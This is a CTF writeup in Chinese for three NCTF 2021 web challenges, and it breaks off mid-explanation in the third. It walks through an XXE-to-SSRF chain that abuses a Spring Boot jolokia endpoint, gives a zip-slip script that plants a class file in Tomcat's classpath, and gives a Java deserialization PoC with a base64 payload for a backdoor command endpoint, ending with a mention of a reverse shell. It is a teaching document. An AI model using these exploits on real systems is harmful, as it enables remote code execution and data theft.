Web

X1cT34m_API_System

Author:wh1sper

题目描述:
在API安全的新时代,安全圈迎来风云变幻。
掀起巨浪的你?只手遮天的你?选择保护还是放弃你的曾经的伙伴?
target: http://129.211.173.64:58082/

附件链接:https://wwn.lanzoui.com/iUoDwwyfdxc

hint1:
the hidden API to bypass 403
hint2:
jolokia readfile

考点:Springboot actuator配置不当导致的API安全问题

访问/actuator/mappings,可以看到有/actuator/jolokia(限制了本地IP,直接访问返回403)和一个隐藏的API接口/user/list

或者可以直接拿APIKit扫到/user/list

第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup_第1张图片

POST访问/user/list,返回XML格式的数据

第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup_第2张图片

那么自然而然地想到了XXE;加了waf,不让直接读文件;
(这里有俩师傅做了非预期,XXE的waf没写好,可以直接盲打外带flag,我在v2限制了靶机出网无法外带了)

但是众所周知,XXE是可以SSRF的;

那么SSRF配合/actuator/jolokia可以完成一次利用

因为是docker代理的端口,我们需要先访问/actuator/env获取本地服务端口:

第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup_第3张图片

然后构造SSRF:

第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup_第4张图片

因为/jolokia/list返回的数据太长了,而且里面有一些特殊符号会报XML document structures must start and end within the same entity.

于是后面给了附件pom.xml,可以本地起起来看一下有什么Mbean。

第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup_第5张图片

有一个可以读写文件的Mbean:

com.sun.management:type=DiagnosticCommand

判断远程环境是否存在这个Mbean:

第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup_第6张图片

如果不存在返回的是上图,如果存在返回的是下图两种情况

第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup_第7张图片

exp:

POST /user/list HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Cookie: JSESSIONID=4E8E18623EC2DEB1675E56DF8955D33B
Content-Type: application/xml
Content-Length: 194



]>
<id>&dy;id>COPY

flag:

NCTF{Spring_actuator_And_Jolokia_1S_So_fun_by_the_way_we1com3_to_join_API_Security_Community_yulige_yyds_wysb}

ezjava

出题人ID:Pupi1

题目描述:
戴教授才开放了2天的文件管理系统,还没完成就被黑客拿下了,并往里面藏了一点东西http://129.211.173.64:8080/html/index.htmlhttp://129.211.173.64:8081/html/index.html

附件链接:

链接:https://pan.baidu.com/s/1jB6Kcy478ashRtxEFJP1bQ
提取码:nctfhttps://wwn.lanzoui.com/iamSDwyi0pehttps://attachment.h4ck.fun:9000/web/ezjava/nctf.war

flag:

nctf{J3va_SecUrlt9_ls_T0o_DlfficuLT}

这个题其实也是一个在不支持jsp的情况下任意文件写的rce利用

前面部分先对代码进行审计,我们可以上传zip,然后在解压这里发现

第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup_第8张图片

他没有对压缩包文件内的文件进行检查,这里就可以导致解压目录穿越。这里可以通过一个脚本去生成这样的zip:

import zipfile
import os

if __name__ == "__main__":
    try:

        zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("poc.zip")
        zipFile.write("poc.class","../../usr/local/tomcat/webapps/html/WEB-INF/classes/com/x1c/nctf/Poc.class",zipfile.ZIP_DEFLATED)
        zipFile.close()
    except IOError as e:
        raise eCOPY

那么我们现在就相当与可以写入任意文件了。那么就是在spring boot运行时并且不支持jsp没有热部署的情况下要如何去rce的问题了(好像这里题目在重启的过程中jsp支持被打开了,X__X)

其实这里给了一个后门是用来反序列化,这里的提示其实很明显了,我们就可以把恶意类文件写入到classpath,如何通过反序列化去加载我们恶意类中重新的readObject方法,就可以达成rce。

题目给的附件是war,然后也有tomcat的路径可以很轻松的得到classpath,然后通过unzip把恶意类解压到classpath下,再通过后门的反序列化去触发即可。(这里一开始没给tomcat路径是因为tomcat的路径是默认的而且可以通过zip路由去确认是否存在该路径,但是一直没有解就当hint去提示师傅们了:)
exp:

package com.x1c.nctf;

import java.io.*;
import java.io.Serializable;
import com.x1c.nctf.Tool.*;

public class Poc implements Serializable {
    public Poc() {
    }

    private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
        out.defaultReadObject();
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec("touch /tmp/1.txt");
    }

    public static void main(String[] args) throws Exception {
        Poc o = new Poc();
        System.out.println(Tool.base64Encode(Tool.serialize(o)));
    }
}
backdoor?cmd=rO0ABXNyABBjb20ueDFjLm5jdGYuUG9jLTxEyChKw8gCAAB4cA==COPY

反弹shell就可以了!

prettyjs

出题人ID:byc_404
题目描述:
A useless website that gives you express template…
link: https://prettyjs.bycsec404.top
附件链接:
链接:https://pan.baidu.com/s/174wSQKQH08l-UtniPR0UVA
提取码:1txchttps://attachment.h4ck.fun:9000/web/prettyjs/prettyjs.ziphttps://nctf.slight-wind.com/web/prettyjs/prettyjs.zip

flag:

nctf{anyone_get_me_a_job_to_study_on_javascript:)}

prettyjs这题主要的目的是考察选手们如何在服务端不存在X-Content-Type-Options+cookie的samesite属性为none的情况下,不用xss拿到/api/template下的敏感信息。不过部署题目时因为我的疏忽,导致/api/template默认的Content-Typetext/html,可以直接做到csrf=>xss orz , 而预期此处的Content-Type应该是text/plain的。

下面是预期的思路流程:

审计代码后可知我们需要构造cookie,而cookie所需的ADMIN_USERNAME与COOKIE_SECRET来自admin bot在/api/template路由下的template内容。

然而理论上站内并没有xss的地方,因此出发点只能是:让bot访问我们自己服务器,并向题目网站进行跨域请求。

而跨域就要面对SOP(Same Origin Policy)的限制。虽然题目的cookie samesite 属性被设置为none,使得cookie在我们服务器的域仍然有效,但通过fetchXMLHttpRequest等等手段都会受到SOP的限制,请求发出去了,但是response返回后不会让javascript获取到。

第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup_第9张图片

同时服务端还存在一个referer的检查。第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup_第10张图片

此处referer的检查其实也是目前很多主流web服务/中间件在jsonp,视频地址等等接口检查referer的手段:如果存在referer头,判断下是否是从我们自己站过来的。但这样的检查手段绕过也很简单,只需要不带referer即可。

那么现在关键是需要跨域加载且拿到返回值。而我们知道script在进行跨域加载js时是不会受到SOP的限制的,其返回内容也在控制范围内。但是此处script有两个问题需要解决

  1. /api/template 内容并不是单纯js
  2. /api/template 是post路由

我们依次来解决这两个问题。

第一个问题,首先/api/template的内容是由可控的userame+ 's Awesome experss page! Check below ?以及一份expressjs 的简单代码组成的。后面一部分代码自然是合法的js代码。那前一部分呢?是不是只要注释掉第一行,整个页面的内容就是合法js了?

答案是肯定的。只不过此处username被限制了,不能使用/。那///*都不能使用。不过我们完全可以用前端下js的另一种注释方式: